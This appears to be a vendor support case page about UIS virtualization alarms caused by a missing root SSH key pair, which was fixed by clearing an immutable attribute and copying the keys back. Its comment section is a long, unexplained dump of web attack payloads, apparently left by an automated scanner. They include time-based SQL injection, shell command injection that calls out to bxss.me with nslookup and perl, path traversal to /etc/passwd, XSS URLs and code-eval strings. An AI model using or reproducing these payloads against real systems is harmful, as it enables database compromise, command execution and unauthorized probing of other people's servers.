UIS password-free failure occurs, and a packet loss alarm occurs

2022-06-18 17:46:25 Published
  • 0 Followed
  • 0Collected ,1491Browsed

Network Topology

Not involving

Problem Description

UIS web pop up alarm:

1.Virtualization management software error. 

2.Arbitrator host failure alarm. 

 

Process Analysis

During the processing of the problem,we found that the UIS clicked on the node1 CVM node and a system response error occurred.


At the same time, there is also a problem with the stateful failover page


Solution

hen we found that cvknode1 could not log in to other nodes without password. So we find the directory of the ssh key pair,” /root/.ssh”, found it was missing some files.

[root@UIS-Node1 .ssh]# ls -al

total 16

drwx------ 2 root root 4096 Jun 13 16:40 .

dr-xr-x--- 7 root root 4096 Jun 15 17:18 ..

-rw------- 1 root root 5007 Jun 15 15:28 authorized_keys

 

So we tried to copy the files of cvknode2, but failed. R&D found that a problem similar to locking occurred in this directory and to unlock.

 

[root@UIS-Node1 ~]# lsattr /root/ -a

-------------e-- /root/.

-------------e-- /root/.bashrc

-------------e-- /root/1

-------------e-- /root/.ssh_back.pub

-------------e-- /root/.ssh_back

-------------e-- /root/anaconda-ks.cfg

-------------e-- /root/.configrc

----i--------e-- /root/.ssh

 

[root@UIS-Node1 ~]# chattr -i /root/.ssh

[root@UIS-Node1 ~]# lsattr /root/ -a

-------------e-- /root/.

-------------e-- /root/.bashrc

-------------e-- /root/1

-------------e-- /root/.ssh_back.pub

-------------e-- /root/.ssh_back

-------------e-- /root/anaconda-ks.cfg

-------------e-- /root/.configrc

-------------e-- /root/.ssh

-------------e-- /root/.bash_profile

After that, we can successfully copy the following files to the cvknode1

[root@UIS-Node1 .ssh]# ls -al

total 28

drwx------ 2 root root 4096 Jun 15 18:53 .

dr-xr-x--- 7 root root 4096 Jun 15 19:31 ..

-rw------- 1 root root 5218 Jun 15 18:59 authorized_keys

-rw------- 1 root root 2455 Jun 15 18:59 id_rsa

-rw-r--r-- 1 root root  566 Jun 15 18:59 id_rsa.pub

-rw-r--r-- 1 root root  692 Jun 15 18:45 known_hosts


After that, the system call error no longer appears in the foreground and also it’s normal in the stateful failover page.

At the same time, the packet loss alarm is no longer generated, indicating that the previous two alarms” failed to connect to the host “and “Arbitrator host network packet loss “ on the UIS were caused by the problem of the CVM node password key, which prevented the CVM node from communicating with other cvknodes normally, and the alarms occurred.

Now everything is normal and the alarm is no longer generated.

Please rate this case:   
101 Comments

-1 OR 2+801-801-1=0+0+0+1 --

-1 OR 2+346-346-1=0+0+0+1

response.write(9198096*9270910)

-1' OR 2+643-643-1=0+0+0+1 --

'+response.write(9198096*9270910)+'

-1' OR 2+865-865-1=0+0+0+1 or 'aY3w0xYA'='

"+response.write(9198096*9270910)+"

-1" OR 2+965-965-1=0+0+0+1 --

/../../../../../../../../../../windows/system32/BITSADMIN.exe

echo brdmqq$()\ bahmkj\nz^xyu||a #' &echo brdmqq$()\ bahmkj\nz^xyu||a #|" &echo brdmqq$()\ bahmkj\nz^xyu||a #

if(now()=sysdate(),sleep(15),0)

&echo lrouem$()\ phlpdl\nz^xyu||a #' &echo lrouem$()\ phlpdl\nz^xyu||a #|" &echo lrouem$()\ phlpdl\nz^xyu||a #

../../../../../../../../../../etc/passwd

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

|echo omdhxp$()\ npmueg\nz^xyu||a #' |echo omdhxp$()\ npmueg\nz^xyu||a #|" |echo omdhxp$()\ npmueg\nz^xyu||a #

../../../../../../../../../../windows/win.ini

12345'"\'\");|]*{ <>?''????

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(nslookup hitofxeslerxue9587.bxss.me||perl -e "gethostbyname('hitofxeslerxue9587.bxss.me')")

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

$(nslookup hitzjihlbvanl68c78.bxss.me||perl -e "gethostbyname('hitzjihlbvanl68c78.bxss.me')")

${9999196+10000048}

-1; waitfor delay '0:0:15' --

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

&(nslookup hiteolefenvwsabf96.bxss.me||perl -e "gethostbyname('hiteolefenvwsabf96.bxss.me')")&'\"`0&(nslookup hiteolefenvwsabf96.bxss.me||perl -e "gethostbyname('hiteolefenvwsabf96.bxss.me')")&`'

555&n992401=v988365

-1); waitfor delay '0:0:15' --

1some_inexistent_file_with_long_name.jpg

|(nslookup hitalxqqjmndn924e1.bxss.me||perl -e "gethostbyname('hitalxqqjmndn924e1.bxss.me')")

-1)); waitfor delay '0:0:15' --

Http://bxss.me/t/fit.txt

`(nslookup hitreqmxgdnbwa6cbb.bxss.me||perl -e "gethostbyname('hitreqmxgdnbwa6cbb.bxss.me')")`

-1)); waitfor delay '0:0:6' --

'.gethostbyname(lc('hitje'.'pejeruko14197.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(75).chr(97).chr(79).'

^(#$!@#$)(()))******

;print(md5(31337));

http://bxss.me/t/fit.txt?.jpg

;(nslookup hitxkixkqmsfz34278.bxss.me||perl -e "gethostbyname('hitxkixkqmsfz34278.bxss.me')")|(nslookup hitxkixkqmsfz34278.bxss.me||perl -e "gethostbyname('hitxkixkqmsfz34278.bxss.me')")&(nslookup hitxkixkqmsfz34278.bxss.me||perl -e "gethostbyname('hitxkixkqmsfz34278.bxss.me')")

1 waitfor delay '0:0:15' --

".gethostbyname(lc("hitrr"."dxzvpetk72258.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(87).chr(114).chr(90)."

HttP://bxss.me/t/xss.html?%00

';print(md5(31337));$a='

"+"A".concat(70-3).concat(22*4).concat(117).concat(76).concat(115).concat(77)+(require"socket" Socket.gethostbyname("hityx"+"ohqrwlgd3074e.bxss.me.")[3].to_s)+"

BaQbnAYH'; waitfor delay '0:0:15' --

bxss.me/t/xss.html?%00

";print(md5(31337));$a="

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'+'A'.concat(70-3).concat(22*4).concat(120).concat(77).concat(99).concat(71)+(require'socket' Socket.gethostbyname('hitir'+'flaptshh991e9.bxss.me.')[3].to_s)+'

eg0782bB'); waitfor delay '0:0:15' --

${@print(md5(31337))}

Dezmo7j2')); waitfor delay '0:0:15' --

${@print(md5(31337))}\

-5 OR 643=(SELECT 643 FROM PG_SLEEP(15))--

'.print(md5(31337)).'

-5 OR 919=(SELECT 919 FROM PG_SLEEP(15))--

'.print(md5(31337)).'

-5 OR 882=(SELECT 882 FROM PG_SLEEP(0))--

-5) OR 744=(SELECT 744 FROM PG_SLEEP(15))--

'.print(md5(31337)).'

-5) OR 264=(SELECT 264 FROM PG_SLEEP(15))--

'.print(md5(31337)).'

-5) OR 59=(SELECT 59 FROM PG_SLEEP(0))--

-1)) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

-1)) OR 499=(SELECT 499 FROM PG_SLEEP(15))--

-1)) OR 615=(SELECT 615 FROM PG_SLEEP(6))--

-1)) OR 493=(SELECT 493 FROM PG_SLEEP(0))--

rF7Ezyvf' OR 187=(SELECT 187 FROM PG_SLEEP(15))--

w4ulI1aP' OR 96=(SELECT 96 FROM PG_SLEEP(15))--

GJthImKU') OR 862=(SELECT 862 FROM PG_SLEEP(15))--

g7r4o9qm') OR 741=(SELECT 741 FROM PG_SLEEP(15))--

lffwhUZL') OR 122=(SELECT 122 FROM PG_SLEEP(3))--

d0ZW0QwH') OR 13=(SELECT 13 FROM PG_SLEEP(0))--

tRBkowNh') OR 898=(SELECT 898 FROM PG_SLEEP(6))--

mVYV6Fel')) OR 585=(SELECT 585 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Add Comments: